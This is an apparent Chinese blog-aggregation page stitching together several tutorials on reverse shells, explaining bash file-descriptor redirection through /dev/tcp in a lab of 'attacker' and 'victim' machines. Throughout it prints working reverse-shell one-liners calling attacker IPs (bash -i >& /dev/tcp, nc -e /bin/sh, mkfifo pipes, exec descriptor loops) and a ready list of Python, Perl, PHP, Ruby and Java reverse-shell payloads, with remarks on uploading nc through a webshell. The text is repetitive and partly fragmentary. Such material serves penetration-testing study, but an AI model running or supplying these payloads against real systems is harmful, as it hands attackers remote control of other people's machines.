精华内容
下载资源
问答
  • 反弹shell

    2020-04-24 00:06:29
    什么反弹shell NC使用 NC正向连接 NC反向连接 bash反弹shell ...shell是操作主机的接口,反弹shell就是把shell送给别人,让其他人可以操作自己的计算机。 回到顶部 二、NC使用 NC(netcat)被称为网络...

    1. 什么是反弹shell
    2. NC使用
    3. NC正向连接
    4. NC反向连接
    5. bash反弹shell
    6. 脚本反弹shell



    一、什么是反弹shell

    通常我们通过web应用某漏洞成功拿到了webshell后,接下来我们往往更像直接获得一个虚拟终端,来方便更好的做后续的渗透。
    shell是操作主机的接口,反弹shell就是把shell送给别人,让其他人可以操作自己的计算机。



    回到顶部

    二、NC使用

    NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大,NC可以在两台设备上面相互交互,即侦听模式/传输模式。

    在这里插入图片描述



    回到顶部

    三、NC正向连接

    在这里插入图片描述



    回到顶部

    四、NC反向连接

    在这里插入图片描述

    在这里插入图片描述



    回到顶部

    五、bash反弹shell

    在这里插入图片描述


    回到顶部

    六、脚本反弹shell

    在这里插入图片描述

    回到顶部



    在这里插入图片描述

    知乎:叄贰壹

    简书:带只拖鞋去流浪

    关注我,带你一起写bug

    warning :未经授权,不得转载

    有问题的小伙伴请在下方留言,喜欢就点个赞吧

    展开全文
  • 转自iouwenbo的博客什么是反弹shell? 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质...

    转自iouwenbo的博客

    什么是反弹shell?

      反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    为什么要反弹shell?

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

    举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

    有如下情况:

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 

    2.目标机器的ip动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

    那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    ================================================

    参考

    https://www.zhihu.com/question/24503813   知乎:反弹shell是什么意思啊?网上看了半天都没有相关的基础的解释?

    反弹shell实验

    环境:两台CentOS7.6服务器

    • 攻击端 hacker:10.201.61.194

    • 受害端 victim:10.201.61.195

    1. 攻击端监听一个端口:

    [root@hacker ~]# nc -lvp 6767

    Ncat: Version 7.50 ( https://nmap.org/ncat )

    Ncat: Listening on :::6767

    Ncat: Listening on 0.0.0.0:6767

    2.受害端生成一个反弹shell:

    [root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

    3.攻击端已获取到受害端的bash:

    [root@hacker ~]# nc -lvp 6767

    Ncat: Version 7.50 ( https://nmap.org/ncat )

    Ncat: Listening on :::6767

    Ncat: Listening on 0.0.0.0:6767

    Ncat: Connection from 10.201.61.195.

    Ncat: Connection from 10.201.61.195:46836.

    [root@victim ~]#         //攻击端已获得受害端的远程交互式shell

    [root@victim ~]# hostname

    hostname

    victim

    解释:

    1. nc -lvp 6767

     -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

    2. bash -i

    -i interactive。即产生一个交互式的shell(bash)。

    3. /dev/tcp/IP/PORT

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

    通过以下4个小测试来分析反弹shell实现过程:

    (PS: 注意执行步骤顺序)

    测试1:

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566        //第二步
    [root@victim ~]# hostname        //第三步
    [root@victim ~]#

    攻击端:

    [root@hacker ~]# nc -lvp 5566      //第一步

    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:49018.

    victim      //测试1结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

    测试2:

    受害端:

    [root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566        //第二步
    [root@victim ~]# hostname        //测试2结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。victim

     攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:50412.
    hostname        //第三步(攻击端执行命令)

    测试3

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1        //第二步
    [root@victim ~]# hostname        //受害端回显命令
    [root@victim ~]# id        //受害端回显命令
    [root@victim ~]# hahaha        //受害端回显命令
    bash: hahaha: command not found        //受害端回显命令。显示错误命令的输出。
    [root@victim ~]#

     攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:36792.

    hostname        //第三步(攻击端执行命令)
    victim
    id        //第四步(攻击端执行命令)
    uid=0(root) gid=0(root) groups=0(root)
    hahaha        //第五步(执行一个错误的命令)

    //测试3结果:基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。

     测试4(将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端): 

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

    攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:51182.
    [root@victim ~]# hostname        //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令~
    hostname
    victim

    //PS:由测试3、测试4对比可见,标准错误2不仅显示错误信息的作用,居然还有回显输入命令和终端提示符的作用~~~

    总结

    本文整理了反弹shell的一些资料并通过实验理解反弹shell原理。深入理解文件描述符和重定向才能更好弄懂反弹shell~

    ================================================

    参考:

    https://xz.aliyun.com/t/2549   先知社区:Linux 反弹shell(二)反弹shell的本质

    https://www.freebuf.com/articles/system/153986.html   FREEBUF:浅析重定向与反弹Shell命令

    7d46af4578e703fb8103a760cd19bc98.png

    一如既往的学习,一如既往的整理,一如即往的分享。感谢支持6405834e83d814a2e0d56a3e900d8564.png

    “如侵权请私聊公众号删文”

    扫描关注LemonSec

    5870da0d7ad1d8040a07020d995b8768.png

    觉得不错点个“赞”、“在看”哦cf9951f059582a1623eec24be5ba8351.png

    展开全文
  • 0X00 前言 在上一篇文章Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹...0X01 什么是反弹shell reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入...

    0X00 前言

    在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。

    0X01 什么是反弹shell

    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    0X02 为什么要反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2.它的ip会动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    0X03 反弹shell的本质是什么

    我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。

    实验环境:

    受害者:

    Ubuntu Linux ——> 192.168.146.128

    攻击者:

    Kali Linux ——> 192.168.146.129

    我们就以最常见的bash为例:
    attacker机器上执行:

    nc -lvp 2333
    

    victim 机器上执行:

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    

    你就会看到下图:

    此处输入图片的描述

    可以看到在攻击机上出现了受害者机器的shell

    解释一下这条命令具体的含义:

    1.bash -i

    1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

    2)-i 这个参数表示的是产生交互式的shell

    2./dev/tcp/ip/port

    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

    此处输入图片的描述

    但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

    实例1:

    我们输出字符串到这个文件里

    此处输入图片的描述

    攻击机上的输出

    此处输入图片的描述

    实例2:

    攻击机上的输入

    此处输入图片的描述

    受害者机器上的输出

    此处输入图片的描述

    3.交互重定向

    注意:
    下面的内容涉及到比较复杂的重定向和文件描述符的知识,如果理解不够深入建议看完我的上一篇文章以后再来继续阅读:

    文章链接:

    《linux反弹shell(一)文件描述符与重定向》https://blog.csdn.net/whatday/article/details/103426638

    为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
    在受害者机器上输入

    bash -i > /dev/tcp/192.168.146.129/2333
    

    示意图:

    此处输入图片的描述

    如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

    此处输入图片的描述

    此处输入图片的描述

    但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

    于是我们似乎还需要一条这样的指令

    bash -i < /dev/tcp/192.168.146.129/2333
    

    示意图:

    此处输入图片的描述

    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

    此处输入图片的描述

    此处输入图片的描述

    现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1
    

    示意图:

    此处输入图片的描述

    由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

    如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说我们目前已经基本完成了一个反弹shell 的功能。

    此处输入图片的描述

    注意:
    但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

    此处输入图片的描述

    4. >&、&>

    这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

    现在我们解决一下前面的问题:

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
    

    此处输入图片的描述

    可以看到命令并没有回显在受害者机器上,我们的目的达成了

    此处输入图片的描述

    当然我们也可以执行与之完全等价的指令

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    

    至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句

    0X04 常见的反弹shell 的语句怎么理解

    1.方法一

    bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
    

    bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    

    这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

    2.方法二

    bash -i >& /dev/tcp/192.168.146.129/2333 <&2
    

    等价于

    bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
    

    示意图:

    此处输入图片的描述

    3.方法三

    exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
    

    简单的解释一下:

    exec 5<>/dev/tcp/192.168.146.129/2333
    

    这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过,传送门),于是我们就能通过文件描述符对这个socket连接进行操作了

    command|while read line do .....done
    

    这个是一个非常经典的句子,它的原句是这样的

    while read line
    do
           …
    done < file
    

    从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

    而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

    与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下:

    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    

    4.方法四

    nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

    nc -e /bin/sh 192.168.146.129 2333
    

    但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
    

    简单的解释:

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    类似的命令:

    mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
    

    0X05 总结

    反弹shell方法虽然常见,方法网上一搜就是一大把的代码,但是很少有人会去仔细斟酌反弹shell的原理,我也看到有类似的文章,但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论,导致解释语句的时候依然让人不好理解,于是这次我分成了两篇有所关联的文章彻底的剖析了一下,个人认为这个原理是非常值得大家思考的,也很有趣,如果我的文章有什么地方有问题,希望大家及时联系我。

    0X06 参考链接

    https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    https://blog.csdn.net/roler_/article/details/17504039
    http://www.freebuf.com/articles/system/153986.html
    https://www.zhihu.com/question/24503813

     

    展开全文
  • 什么是反弹shell,以及对反弹shell作用原理的解析:3.反弹shell的本质linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制exec 绑定重定向对反弹shell执行的实例分析:>&...


    一.什么是反弹shell,以及对反弹shell作用原理的解析:

    1.定义

    通俗来说,shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限),
    而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令,
    从而操控受害者的计算机。
    

    标准说法:
    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    2.为什么要反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2.它的ip会动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    3.反弹shell的本质

    参考这篇文章:
    https://xz.aliyun.com/t/2549 先知社区:Linux 反弹shell(二)反弹shell的本质
    最好也看看第一篇文章,可以对反弹shell有一个深刻的理解。

    首先对反弹shell执行的前提来说明一下:

    第一步:要有一个可以被监听的端口,通常使用nc命令。
    eg:nc -lvp 6767

    解析:-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

    第二步:要产生一个交互式的shell,使用bash -i

    解析:bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别, -i 这个参数表示的是产生交互式的shell

    第三步:我们为什么要监听一个端口,就是因为存在一个特殊设备文件(/dev/tcp/ip/root),如果你在任何一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器(即攻击者(攻击者作为服务器,而受害者作为客户端,反弹shell就是让受害者主动与服务端-攻击者建立通信))的socket通信。

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
    在这里插入图片描述

    标准输入standard input 0 (默认设备键盘)
    标准输出standard output 1(默认设备显示器)
    错误输出:error output 2(默认设备显示器)

    linux文件描述符

    可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

    当Linux启动的时候会默认打开三个文件描述符(0,1,2)

    注意:
    (1)以后再打开文件,描述符可以依次增加
    (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

    文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

    重定向

    重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

    (1)输入重定向 < <<
    (2)输出重定向 > >>

    重点:
    1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

    2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

    3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

    4.再强调一下,重定向就是针对文件描述符的操作

    输入重定向

    格式: [n]< word (注意[n]与<之间没有空格)

    说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

    输出重定向

    格式: [n]> word

    说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

    标准输出与标准错误输出重定向

    格式: &> word >& word

    说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

    在这里插入图片描述

    这种复制方法就是我们常用的打团shell方法。
    可以形成一个回路,只需要在攻击者机器上进行操作就可以得到,受害者的所有结果。

    文件描述符的复制

    格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

    说明:

    1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

    这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中,

    之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

    (2)cmd 2>&1 >file

    1.首先解析器解析到 2>&1
    在这里插入图片描述
    2.解析器再向后解析到 “>”

    在这里插入图片描述

    exec 绑定重定向

    格式:exec [n] </> file/[n]

    上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

    重点:

    格式: [n]<>word

    说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

    在这里插入图片描述
    文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。

    对反弹shell执行的实例分析:

    实验环境:

    受害者:

    Ubuntu Linux ------> 192.168.146.128

    攻击者:

    Kali Linux ------> 192.168.146.129

    那么为什么要让客户端(受害者)与服务端(攻击者)进行通信呢?

    那就是因为,为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上,

    bash -i > /dev/tcp/192.168.146.129/2333
    

    在这里插入图片描述
    如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

    在这里插入图片描述
    在这里插入图片描述
    但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

    于是我们似乎还需要一条这样的指令

    bash -i < /dev/tcp/192.168.146.129/2333
    

    在这里插入图片描述
    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了。

    现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

    bash -i 1> /dev/tcp/192.168.146.129/2333 0>&1
    

    描述符的复制:[n]<&[m] / [n]>&[m]
    0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    示意图:
    在这里插入图片描述
    由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.146.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能。

    注意:
    但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

    在这里插入图片描述

    >&、&>

    这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

    示意图:

    在这里插入图片描述

    现在我们解决一下前面的问题:

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
    

    对这条命令的解析:

    将所有的输出都复制给1,但是

    当然我们也可以执行与之完全等价的指令

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

    反弹shell一般分为linux和Windows两种。

    Linux之bash反弹shell原理浅析

    常见的反弹shell的技巧

    bash反弹

    个人感觉bash反弹是最简单、也是最常见的一种。

    bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
    bash一句话命令详解
    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

    bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
    

    bash一句话命令详解
    以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
    在这里插入图片描述

    就是将受害者的标准输出和错误输出都重定向给攻击者的机器,并且将攻击者的输入都重定向给受害者的机器,通过/dev/tcp/ip/port这个特殊的设备文件建立端口连接来传送数据。包括交互式的shell。

    其实以上bash反弹一句完整的解读过程就是:
    bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
    在反弹shell时要借助netcat工具反弹

    NC反弹

    一般都是通过拿到webshell将nc上传到指定文件夹,然后再
    Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

    nc 反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。

    开启外网主机监听

    root@kali:~# nc -lvvp 6666(本地监听)
    listening on [any] 8080 …

    先用kali开启监听:
    然后centos执行bash一句话。

    nc -e /bin/bash 192.168.43.133 6666

    nc 192.168.31.151 7777 -t /bin/bash
    命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

    以上是针对 Linux 操作系统的反弹 Shell 的方式,如果目标是windows系统,只需要把/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。

    NC常见使用方法

    Python反弹

    有一种现实的情况是,现实的受害主机可能不会给你提供 netcat 的环境,你也不会那么轻易成功将 nc 上传至靶机,所以更多的情况需要你就地取材,网上有大佬整理了各种版本的反弹 shell 的脚本语言写法,在此借鉴:

    1、Python版本:
    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    2、Perl版本:
    perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
     
    3PHP版本:
    php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'
     
    4、Ruby版本:
    ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
     
    5、Java版本:
    r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()
    

    下面演示一下 Python 脚本语言反弹 Shell 的方法:

    1、首先使用 nc 在 Kali 上监听端口:

    在这里插入图片描述
    2、在 Ubuntu 虚拟机下使用 Python 脚本去反向连接,如下:

    在这里插入图片描述

    此外还有php反弹shell,以及使用msf框架生成的木马来反弹shell。

    此外反弹shell还经常需要使用端口转发和正向代理:
    参考这篇文章
    在这里插入图片描述

    展开全文
  • 什么是反弹shell简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。2. 反弹shell的用途这个反弹shell大部分用途用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙3. 反...
  • 什么是反弹shell反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上网络概念的客户端...
  • 在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。正向连接:我们本机去连接目标机器,比如ssh和mstsc反向连接:目标机器去连接我们本...
  • 通过 find 命令执行命令 whoami ,可以看到确实 root 用户:但如果我们尝试使用 nc 反弹 shell 回来,会发现权限还是普通用户 alice:这就很奇怪了,所以决定探究一下。使用 find 执行 id 命令:在反弹回的 shell ...
  • 在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。正向连接:我们本机去连接目标机器,比如ssh和mstsc反向连接:目标机器去连接我们本...
  • Linux反弹Shell方法

    2021-02-08 18:23:38
    文章目录Linux反弹Shell方法Linux标准文件描述符更改标准输出的位置更改标准输入的位置/dev/null重定向输入重定向输出重定向管道反弹shell的本质什么是反弹shell实现控制端和被控端之间的交互反弹shell方法...
  • 反弹Shell攻击

    2018-11-18 15:37:55
    反弹Shell攻击 什么是 一般的正向攻击:攻击服务器链接目标(e.g. 远程桌面、ssh、web服务、telnet…) 反弹:受害者主机主动链接攻击服务器 为什么 正向攻击不能实现 目标在局域网内 目标ip动态变化 目标防火墙...
  • linux反弹shell命令解析

    2020-09-29 10:19:56
    什么是反弹shell2. 反弹shell的用途3. 反弹shell操作步骤4. 原理 1. 什么是反弹shell 简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。 2. 反弹shell的用途 这个反弹shell大部分用途用来...
  • Linux反弹shell命令解析

    2019-10-17 18:16:43
    什么是反弹shell 简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。 反弹shell的用途 这个反弹shell大部分用途用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙 反弹...
  • 反弹shell的方法总结

    2020-08-26 17:45:56
